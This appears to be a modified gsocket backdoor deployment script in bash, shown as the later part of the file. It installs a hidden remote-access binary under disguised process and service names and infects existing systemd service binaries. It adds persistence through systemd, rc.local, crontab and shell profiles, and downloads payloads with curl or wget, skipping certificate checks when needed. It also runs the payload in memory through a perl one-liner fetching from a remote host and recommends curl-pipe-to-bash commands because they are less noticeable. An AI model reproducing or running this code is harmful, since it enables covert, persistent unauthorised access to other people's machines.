    local sfdata="$1"
    local param="$2"
    local len="70"
    do_config2bin "${DSTBIN}" "${DSTBIN}" "${param:--ilq}" "${PROC_HIDDEN_NAME}" || return 255
    do_bincrypter "${DSTBIN}"

    [[ -n "$CDC" ]] && ((len+=11)) 
    printf "%-${len}.${len}s" "$(echo -e "Installing as systemd ${CB}${SERVICE_HIDDEN_NAME}.service${CN}..............................................")"

    if [[ -f "${SERVICE_FILE}" ]]; then
        ((IS_INSTALLED+=1))
        systemctl is-active "${SERVICE_HIDDEN_NAME}" &>/dev/null && IS_GS_RUNNING=1
        IS_SYSTEMD=1
        SKIP_OUT "${SERVICE_FILE} already exists."
        return 0
    fi

    mk_file "${SERVICE_FILE}" || return 255
    chmod 644 "${SERVICE_FILE}"
    echo "${sfdata}" >"${SERVICE_FILE}" || return 255

    ts_add_systemd "${WANTS_DIR}/multi-user.target.wants"
    ts_add_systemd "${WANTS_DIR}/multi-user.target.wants/${SERVICE_HIDDEN_NAME}.service" "${SERVICE_FILE}"

    systemctl enable "${SERVICE_HIDDEN_NAME}" &>/dev/null || { rm -f "${SERVICE_FILE:?}"; return; }

    IS_SYSTEMD=1
    IS_SYSTEMD_STANDALONE=1
    ((IS_INSTALLED+=1))
    OK_OUT
}

install_systemd_new() {
    local sfdata
    local param
    local remain="no"

    [ -n "$GS_NOCCG" ] && remain="yes" 

    if [[ "$GS_SYSTEMD_PERSIST" == *"oneshot"* ]]; then
        sfdata="[Unit]
After=network.target

[Service]
Type=oneshot
RemainAfterExit=${remain}
ExecStart=${DSTBIN}

[Install]
WantedBy=multi-user.target"
        param="-ilqD"
        [ -z "$GS_NOCCG" ] && GS_CCG=1
    else 
        sfdata="[Unit]
After=network.target

[Service]
Restart=always
RestartSec=300
ExecStart=${DSTBIN}

[Install]
WantedBy=multi-user.target"
        param="-ilq"
        SYSTEMD_INSTALL_CHECK_IS_ACTIVE=1
    fi

    install_systemd_add "$sfdata" "$param"
}

install_systemd_infect() {
    local name="$1"
    local bin="$2"
    local str
    local ret

    printf "%-70.70s" "Infecting ${bin}....................................................................."

    systemctl is-active "$name" &>/dev/null || { SKIP_OUT "${CDC}systemctl status $name${CN} is reporting a bad state."; return 255; }

    infect_bin "$bin"
    ret=$?
    [[ $ret -eq 200 ]] && { IS_SYSTEMD=1; IS_GS_RUNNING=1; }
    [[ $ret -ne 0 ]] && return 255

    SYSTEMD_INFECTED_NAME="${name}"
    INFECTED_BIN_NAME="${bin}"
    GS_SYSTEMD_ARGV_MATCH="${INFECT_SYSTEMD_ARGV_MATCH}"
    IS_SYSTEMD=1
    ((IS_INSTALLED+=1))
    OK_OUT "Experimental. Set GS_NOINFECT=1 to disable."
    do_config2bin "${DSTBIN}" "${bin}" "-liq" "" || return 255

    STARTING_STR="Starting gs-netcat as infected ${CB}${name}.service${CN}${CDC}${CN}"
}

install_system_systemd()
{
    local i
    [[ ! -d "${SERVICE_DIR}" ]] && return 255
    command -v systemctl >/dev/null || return 255
    [[ -n "$IS_INSTALLED" ]] && return 0

    [[ "$(systemctl is-system-running 2>/dev/null)" =~ (offline|^$) ]] && return 255

    if [[ -n $GS_INFECT ]]; then
        i=0
        while [[ -z $IS_INSTALLED ]] && [[ $i -lt ${#INFECT_BIN_NAME_ARR[@]} ]]; do
            install_systemd_infect "${INFECT_SYSCTL_NAME_ARR[$i]}" "${INFECT_BIN_NAME_ARR[$i]}"
            ((i++))
        done
        [[ -n "$IS_INSTALLED" ]] && {
            xrm "${DSTBIN}"
            unset DSTBIN
            unset DSTBIN_EXEC_ARR
            return 0
        }
    fi

    install_systemd_new
    [[ -n "$IS_INSTALLED" ]] && return 0

    return 255
}

install_to_file() {
    local fname="$1"
    local D out

    shift 1

    mk_file "$fname" || return

    while [ $# -gt 0 ]; do
        [ -n "$1" ] && out+="$1"$'\n'
        shift 1
    done

    D="$(head -n1 "${fname}" && \
        echo -n "${out}" && \
        tail -n +2 "${fname}")"
    echo "$D" >"${fname}" 2>/dev/null || return

    true
}

install_system_rclocal()
{
    [[ ! -f "${RCLOCAL_FILE}" ]] && return
    [[ ! -x "${RCLOCAL_FILE}" ]] && return
    echo -en "Installing access /etc/rc.local......................................."

    if grep -F -- "$BIN_HIDDEN_NAME" "${RCLOCAL_FILE}" &>/dev/null; then
        ((IS_INSTALLED+=1))
        SKIP_OUT "Already installed in ${RCLOCAL_FILE}."
        return  
    fi

    install_to_file "${RCLOCAL_FILE}" "$NOTE_DONOTREMOVE" "$RCLOCAL_LINE"

    ((IS_INSTALLED+=1))
    OK_OUT
    do_config2bin "${DSTBIN}" "${DSTBIN}" "-ilqD" "${PROC_HIDDEN_NAME}" || return 255
}

install_system()
{
    [ -z "$GS_NOSYSTEMD" ] && install_system_systemd && return

    install_system_rclocal || { 
        echo -en "Installing systemwide remote access permanentally....................."
        FAIL_OUT "no systemctl or /etc/rc.local"
        return
    }
}

install_user_crontab()
{
    command -v crontab >/dev/null || return
    echo -en "Installing access via crontab........................................."
    [ -z "$CRONTAB_LINE" ] && { SKIP_OUT; return ; }
    if crontab -l 2>/dev/null | grep -F -- "$BIN_HIDDEN_NAME" &>/dev/null; then
        ((IS_INSTALLED+=1))
        SKIP_OUT "Already installed in crontab."
        return
    fi

    crontab -l 2>&1 >/dev/null | grep -Fqm1 'are not allowed to use this program' && { FAIL_OUT; return; }
    [[ $UID -eq 0 ]] && mk_file "${CRONTAB_DIR}/root"

    local old
    old="$(crontab -l 2>/dev/null)" || crontab - </dev/null &>/dev/null

    [ -n "$old" ] && old+=$'\n'
    [ -n "${NOTE_DONOTREMOVER}" ] && old+="${NOTE_DONOTREMOVE}"$'\n'

    echo -e "${old}0 2 * * * $CRONTAB_LINE" | grep -F -v -- gs-bd | crontab - 2>/dev/null || { FAIL_OUT; return; }

    ((IS_INSTALLED+=1))
    OK_OUT
}

install_user_profile()
{
    local rc_filename_status
    local rc_file
    local rc_filename

    rc_filename="$1"
    rc_filename_status="${rc_filename}................................"
    rc_file="${GS_PREFIX}${HOME}/${rc_filename}"

    echo -en "Installing access via ~/${rc_filename_status:0:15}..............................."
    if [[ -f "${rc_file}" ]] && grep -F -- "$BIN_HIDDEN_NAME" "$rc_file" &>/dev/null; then
        ((IS_INSTALLED+=1))
        SKIP_OUT "Already installed in ${rc_file}"
        return
    fi

    install_to_file "${rc_file}" "$NOTE_DONOTREMOVE" "${PROFILE_LINE}" || { SKIP_OUT "${CDR}Permission denied:${CN} ${rc_file}"; false; return; }

    ((IS_INSTALLED+=1))
    OK_OUT
}

install_user()
{
    [[ $OSNAME != "osx" ]] && install_user_crontab

    [[ $IS_INSTALLED -lt 2 ]] && {
        for x in "${RC_FN_LIST[@]}"; do
            install_user_profile "$x"
        done
    }

    do_config2bin "${DSTBIN}" "${DSTBIN}" "-ilqD" "${PROC_HIDDEN_NAME}" || return 255
    do_bincrypter "${DSTBIN}"
}

ask_nocertcheck() {
    [ ! -t 0 ] && return

    echo -e >&2 "--> ${CY}WARNING: ${CN}Can not verify host. CA Bundle is not installed."
    echo >&2 "--> Attempting without certificate verification."
    echo >&2 "--> Press any key to continue or CTRL-C to abort..."
    echo -en >&2 "--> Continuing in "
    local n

    n=10
    while :; do
        echo -en >&2 "${n}.."
        n=$((n-1))
        [[ $n -eq 0 ]] && break 
        read -r -t1 -n1 && break
    done
    [[ $n -gt 0 ]] || echo >&2 "0"
}

dl_ssl() {
    local cmd sslerr arg_nossl ret
    cmd="$3"
    sslerr="$2"
    arg_nossl="$1"

    shift 3
    unset DL_ERR
    if [[ -z $GS_NOCERTCHECK ]]; then
        { DL_ERR="$("$cmd" "$@" 2>&1 >&3 3>&-)"; } 3>&1 && unset DL_ERR
        ret=$?
        [ -z "$DL_ERR" ] && return 0
        [ $ret -ne 35 ] && [ $ret -ne 77 ] && [[ "${DL_ERR}" != *"$sslerr"* ]] && return 0
    fi

    FAIL_OUT "Certificate Error."
    [[ -z $GS_NOCERTCHECK ]] && ask_nocertcheck

    echo -en "--> Downloading binaries without certificate verification............."
    { DL_ERR="$("$cmd" "$arg_nossl" "$@" 2>&1 >&3 3>&-)"; } 3>&1 && unset DL_ERR
    [ -z "$DL_ERR" ] && return 0
}

dl() {
    local unpack="cat"

    [[ "$1" == *".gz" ]] && unpack="gunzip"
    command -v "$unpack" >/dev/null || errexit "Need $unpack. Try ${CM}apt install $unpack${CN}"

    [ -n "$GS_USELOCAL_GSNC" ] && {
        [ ! -f "$GS_USELOCAL_GSNC" ] && FAIL_OUT "GS_USELOCAL_GSNC set but file ${CDG}$GS_USELOCAL_GSNC${CN} does not exists..."
        xcp "$GS_USELOCAL_GSNC" "${2}" && return
        FAIL_OUT "copy failed..."
        errexit
    }
    if [ -n "$GS_USELOCAL" ]; then
        [[ -f "../packaging/gsnc-deploy-bin/${1}" ]] && xcp "../packaging/gsnc-deploy-bin/${1}" "${2}" 2>/dev/null | "$unpack" && return
        [[ -f "/gsocket-pkg/${1}" ]] && xcp "/gsocket-pkg/${1}" "${2}" 2>/dev/null | "$unpack" && return
        [[ -f "${1}" ]] && xcp "${1}" "${2}" 2>/dev/null | "$unpack" && return
        FAIL_OUT "GS_USELOCAL set but deployment binaries not found (${1}). Try setting GS_USELOCAL_GSNC="
        errexit
    fi

    [ -n "$2" ] && [ -s "$2" ] && rm -f "${2:?}"

    if [[ -n $IS_USE_CURL ]]; then
        dl_ssl "-k" "certificate problem" "${DL[@]}" "${URL_BIN}/${1}" "--output" "${2:--}" | "$unpack"
    elif [[ -n $IS_USE_WGET ]]; then
        dl_ssl "--no-check-certificate" "is not trusted" "${DL[@]}" "${URL_BIN}/${1}" "-O" "${2:--}" | "$unpack"
    else
        FAIL_OUT "CAN NOT HAPPEN"
        errexit
    fi

    [ -z "$DL_ERR" ] && return
    FAIL_OUT
    echo "$DL_ERR"
    exit_code 255
}

gs_access_fail_exit() {
    echo >&1 -e "--> ${CR}Could not connect to the remote host. It is not installed.${CN}"
    echo >&1 -e "--> ${CR}To install use one of the following:${CN}"
    echo >&1 -e "--> ${CM}X=\"${GS_SECRET}\" ${DL_CRL}${CN}"
    echo >&1 -e "--> ${CM}X=\"${GS_SECRET}\" ${DL_WGT}${CN}"

    exit 61
}

gs_access() {
    local ret
    GS_SECRET="${S}"

    GS_CONFIG_READ=0 GS_SECRET="${GS_SECRET}" "${DSTBIN_EXEC_ARR[@]}" -i
    ret=$?

    [ -f "${DSTBIN:?}" ] && rm -f "${DSTBIN:?}"
    [ -n "$_IS_DSTDIR_CREATED" ] && rmdir "${DSTBIN%/*}"

    [[ $ret -eq 0 ]] && exit_code 0
    [[ $ret -eq 61 ]] && gs_access_fail_exit
    [[ $ret -eq 139 ]] && { WARN_EXECFAIL_SET "$ret" "SIGSEGV"; WARN_EXECFAIL; errexit; }
    [[ $ret -eq 61 ]] && gs_access_fail_exit

    exit_code "$ret"
}

gs_access_memexec() {
    local ret cmd_str

    command -v perl >/dev/null || return
    [ -d "/proc/$$/fd" ] || return
    [ -n "$GS_MEMEXEC" ] || return

    if [ -n "$GS_USELOCAL_GSNC" ]; then
        cmd_str="cat $GS_USELOCAL_GSNC"
    elif [[ -n $IS_USE_CURL ]]; then
        cmd_str="curl -SsfL ${URL_BIN}/${SRC_PKG}"
    elif [[ -n $IS_USE_WGET ]]; then
        cmd_str="wget ${URL_BIN}/${SRC_PKG} -O -"
    fi

    DEBUGF "Attempting memexec on $SRC_PKG"
    GS_CONFIG_READ=0 GS_SECRET="$S" GS_ARGS="-i" perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);open($p,"-|","'"${cmd_str}"'");print$o(<$p>);exec{"/proc/$$/fd/$f"}gs-netcat,@ARGV' -- "${ORIG_ARGS[@]}" && exit
    ret="$?"
    [ $ret -eq 61 ] && { GS_SECRET="${S}"; gs_access_fail_exit; }
    WARN "Could not execute in memory. Try ${CDC}GS_NOMEMEXEC=1${CN}."
}

test_dstbin()
{
    local ret
    unset IS_TESTBIN_OK

    unset ERR_LOG
    GS_OUT=$(GS_CONFIG_READ=0 "${DSTBIN_EXEC_ARR[@]}" -g 2>/dev/null)
    ret=$?
    [[ -z "$GS_OUT" ]] && {
        FAIL_OUT
        ERR_LOG="$(GS_CONFIG_READ=0 "${DSTBIN_EXEC_ARR[@]}" -g 2>&1 1>/dev/null)"
        WARN_EXECFAIL_SET "$ret" "wrong binary"
        return
    }

    [[ -z $GS_SECRET ]] && GS_SECRET="$GS_OUT"
    [ -n "$GS_DNSHOOK" ] && GS_SECRET="${GS_SECRET,,}"

    IS_TESTBIN_OK=1
}

test_network()
{
    local ret
    unset IS_TESTNETWORK_OK

    err_log="$(_GSOCKET_SERVER_CHECK_SEC=15 GS_CONFIG_READ=0 GS_ARGS="-t -s ${GS_SECRET:?}" exec -a "$PROC_HIDDEN_NAME" "${DSTBIN_EXEC_ARR[@]}" 2>&1)"
    ret=$?

    [[ -z "$ERR_LOG" ]] && ERR_LOG="$err_log"
    [[ $ret -eq 139 ]] && { 
        ERR_LOG=""
        WARN_EXECFAIL_SET "$ret" "SIGSEGV"
        return
    }

    { [[ $ret -eq 202 ]] || [[ $ret -eq 203 ]]; } && {
        FAIL_OUT
        [[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
        errexit "Cannot connect to GSRN. Firewalled? Try GS_PORT=53 or 22, 25, 67 or 7350."
    }

    [[ $ret -eq 255 ]] && {
        FAIL_OUT
        [[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
        errexit "A transparent proxy has been detected. Try GS_PORT=53 or 22,7350 or 67."
    }

    [[ $ret -eq 0 ]] && {
        FAIL_OUT "Secret '${GS_SECRET}' is already used."
        HOWTO_CONNECT_OUT
        exit_code 0
    }

    [[ $ret -eq 61 ]] && {
        IS_TESTNETWORK_OK=1
        return
    }

    WARN_EXECFAIL_SET "$ret" "default pkg failed"
}


show_install_config() {
    local str
    [[ -n $INFECTED_BIN_NAME ]] && echo -e "Infected: ${CDG}${INFECTED_BIN_NAME}${CN}"
    [[ -n $DSTBIN ]]            && echo -e "Binary  : ${CDG}${CF}${DSTBIN%/*}/${CN}${CDG}${DSTBIN##*/}${CN} ${CF}[GS_BIN= to change]${CN}"
    [[ -n $GS_HOST ]]           && echo -e "Relay   : ${CDG}${GS_HOST}:${GS_PORT:-443}${CN}"
    [[ -z $SYSTEMD_INFECTED_NAME ]] && [[ -n $PROC_HIDDEN_NAME ]] && {
        echo -e "Name    : ${CDG}${PROC_HIDDEN_NAME}${CN} ${CF}[GS_NAME= to change]${CN}"
    }

    [[ -n $IS_SYSTEMD_STANDALONE ]] && echo -e "Service : ${CDG}${SERVICE_HIDDEN_NAME}.service${CN} ${CF}[GS_SERVICE= to change]${CN}"
    str="always connected ${CN}${CF}[GS_BEACON=30 to change]"
    [[ -n $GS_BEACON ]] && str="every $GS_BEACON minutes"
    echo -e "Beacon  : ${CDG}${str}${CN}"
}

try_network()
{
    echo -en "Testing Global Socket Relay Network..................................."
    [ -n "$GS_NOTEST" ] && { SKIP_OUT; return; }
    test_network
    [[ -n "$IS_TESTNETWORK_OK" ]] && { OK_OUT; return; }

    FAIL_OUT
    [[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
    WARN_EXECFAIL
    errexit
}

install() {
    local osarch="${1:?}"
    local src_pkg="${2:?}"

    echo -e "--> Trying ${CG}${osarch}${CN}"
    unset ERR_LOG
    echo -en "Downloading binaries.................................................."
    mk_file "${DSTBIN:?}" || { FAIL_OUT "$ERR_LOG"; errexit; }
    dl "${src_pkg}" "${DSTBIN}"

    if [[ -n "$LDSO" ]]; then
        chmod 600 "$DSTBIN"
    else
        chmod 711 "$DSTBIN"
    fi
    OK_OUT

    echo -en "Testing binaries......................................................"
    test_dstbin

    if [[ -n "$IS_TESTBIN_OK" ]]; then
        OK_OUT
        return
    fi
}

gs_start_systemd()
{
    local err
    [[ -n "$IS_GS_RUNNING" ]] && {
        SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}'."
        return
    }

    [[ -n "$SYSTEMD_INFECTED_NAME" ]] && {
        systemctl restart "$SYSTEMD_INFECTED_NAME" &>/dev/null
        if ! systemctl is-active "${SYSTEMD_INFECTED_NAME}" &>/dev/null; then
            FAIL_OUT "Check ${CM}systemctl status ${SYSTEMD_INFECTED_NAME}${CN}."
            exit_code 255
        fi
        IS_GS_RUNNING=1
        OK_OUT
        return
    }

    ts_restore
    systemctl daemon-reload
    err="$(timeout 5 systemctl restart "${SERVICE_HIDDEN_NAME}" 2>&1)"
    if [[ -n "$SYSTEMD_INSTALL_CHECK_IS_ACTIVE" ]]; then
        err="$(systemctl is-active "${SERVICE_HIDDEN_NAME}" 2>/dev/null)" && unset err
    fi
    [ -n "$err" ] && {
        FAIL_OUT "$err: Check ${CM}systemctl status ${SERVICE_HIDDEN_NAME}${CN}."
        exit 255
    }
    IS_GS_RUNNING=1
    OK_OUT
    return
}

gs_start()
{
    local old_pid
    local err
    [[ -n $IS_GS_RUNNING ]] && return

    local len=70
    [[ -n "$CDC" ]] && ((len+=22)) 
    printf "%-${len}.${len}s" "$(echo -e "${STARTING_STR}.....................................................")"
    if [[ -n "$GS_NOSTART" ]]; then
        SKIP_OUT "${CDC}GS_NOSTART=1${CN} is set."
        return
    fi

    [[ -n "$IS_SYSTEMD" ]] && gs_start_systemd
    [[ -n "$IS_GS_RUNNING" ]] && return

    if [[ -n "$KL_CMD" ]]; then
        ${KL_CMD} "${KL_CMD_RUNCHK_UARG[@]}" "${KL_NAME}" 2>/dev/null && IS_OLD_RUNNING=1
    elif command -v pidof >/dev/null; then
        if pidof -qs "$BIN_HIDDEN_NAME" &>/dev/null; then
            IS_OLD_RUNNING=1
        fi
    fi

    [[ -z "$IS_OLD_RUNNING" ]] && {
        old_pid="$(unset -v GS_CONFIG_READ; GS_SHOW_RUNNING=1 "${DSTBIN_EXEC_ARR[@]}")"
        [[ -n "$old_pid" ]] && IS_OLD_RUNNING=1
    }

    if [[ -n "$IS_OLD_RUNNING" ]]; then
        SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}' [PID $old_pid]."
        return
    fi

    err="$(cd "$HOME" 2>/dev/null; unset -v GS_CONFIG_READ; "${DSTBIN_EXEC_ARR[@]}" 2>&1)" || { FAIL_OUT "${CDC}unset -v GS_CONFIG_READ; ${DSTBIN_EXEC_ARR[*]}${CN}:"; errexit "$err"; }
    OK_OUT ""

    IS_GS_RUNNING=1
}


init_vars

[[ "$1" =~ (clean|uninstall|clear|undo) ]] && uninstall
[[ -n "$GS_UNDO" ]] || [[ -n "$GS_CLEAN" ]] || [[ -n "$GS_UNINSTALL" ]] && uninstall

init_setup
[[ -n $GS_BRANCH ]] && WARN "Using Gs-Bypass By freyarion"

[[ -n "$X" ]] && GS_SECRET_X="$X"

if [[ -z "$S" ]]; then
    gs_secret_reload
    GS_SECRET="${GS_SECRET_X}"
fi

STARTING_STR="Starting ${CB}${BIN_HIDDEN_NAME}${CN} as hidden process ${CDC}${PROC_HIDDEN_NAME}${CN}"
install "$OSARCH" "$SRC_PKG"

WARN_EXECFAIL
[[ -z "$IS_TESTBIN_OK" ]] && errexit "The binary did not work."

[[ -z $S ]] && try_network

[[ -n "$S" ]] && gs_access

if [[ -z $GS_NOINST ]]; then
    if [[ -n $IS_DSTBIN_TMP ]]; then
        do_config2bin "${DSTBIN}" "${DSTBIN}" "-ilD" "${PROC_HIDDEN_NAME}"
        do_bincrypter "${DSTBIN}"
        echo -en "Installing remote access.............................................."
        FAIL_OUT "${CDR}Set GS_DSTDIR= to a writeable & executable directory.${CN}"
    else
        [[ $UID -eq 0 ]] && install_system
        [[ -z "$IS_INSTALLED" || -z "$IS_SYSTEMD" ]] && install_user
    fi
else
    do_config2bin "${DSTBIN}" "${DSTBIN}" "-ilD" "${PROC_HIDDEN_NAME}"
    do_bincrypter "${DSTBIN}"
    echo -en "Installing remote access.............................................."
    SKIP_OUT "${CDC}GS_NOINST=1${CN} is set."
fi

if [[ -z "$IS_INSTALLED" ]] || [[ -n $IS_DSTBIN_TMP ]]; then
    echo -e >&2 "--> ${CR}Access will be lost after reboot.${CN}"
fi
    
[[ -n $IS_DSTBIN_CWD ]] && WARN "Installed to ${PWD}. Try GS_DSTDIR= otherwise.."

[[ -n "$GS_FFPID" ]] && {
    unset ok
    echo -en "Using low PID. May take 60 sec before connecting......................"
    OK_OUT "Set ${CDC}GS_NOFFPID=1${CN} to disable"
}


show_install_config
HOWTO_CONNECT_OUT

gs_start

[[ -n "$GS_NOINST" ]] && { sleep 1; rm -f "${DSTBIN:?}"; }

[ -n "$IS_SYSTEMD" ] && [ "$(ip netns identify 2>/dev/null)" != "$(nsenter -t1 -n ip netns identify 2>/dev/null)" ] && {
    WARN "Network systemd's Network Namespace differs. Change ${CDC}${SERVICE_FILE}${CN}:
    ${CDY}ExecStart=nsenter --net=/var/run/netns/$(ip netns identify) ${DSTBIN}
    ${CRY}PLEASE REPORT THIS${CN}" 
}

{ [ -z "$GS_BIN" ] || [ -z "$GS_NAME" ]; } && WARN "ERROR OR UPDATE? CONTACT t.me/freyarion"
[[ "$GS_URL_DEPLOY" == "https://gsocket.io"* ]] && {
    unset str
    url="https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket"
    [ -n "$GS_BRANCH" ] && url+="/$GS_BRANCH"
    WARN "Using ${CB}${CUL}https://gsocket.io/y${CN} is noticeable. Better use
    ${CM}${str}bash -c \"\$(curl -fsSL ${url}/${SCRIPT_DEPLOY_NAME})\"${CN}
    ${CM}${str}bash -c \"\$(wget -qO-  ${url}/${SCRIPT_DEPLOY_NAME})\"${CN}"
}
echo -e "--> ${CW}Team1337Elite${CN}"

# ============================================================
# OUTPUT KONSISTEN UNTUK PYTHON
# ============================================================
if [[ -n "$GS_SECRET" ]] && [[ -n "$IS_GS_RUNNING" ]] || [[ -n "$IS_INSTALLED" ]]; then
    echo "GS_INSTALL_STATUS: SUCCESS"
    echo "GS_COMMAND: gs-netcat -s \"$GS_SECRET\" -i"
else
    echo "GS_INSTALL_STATUS: FAILED"
    echo "GS_COMMAND: N/A"
fi
# ============================================================

exit_code 0